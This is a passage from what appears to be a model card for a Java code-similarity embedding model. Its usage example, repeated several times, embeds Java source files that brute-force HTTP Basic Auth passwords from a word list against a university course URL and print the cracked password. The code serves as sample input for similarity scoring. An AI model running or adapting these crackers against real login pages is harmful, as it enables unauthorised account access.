public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String 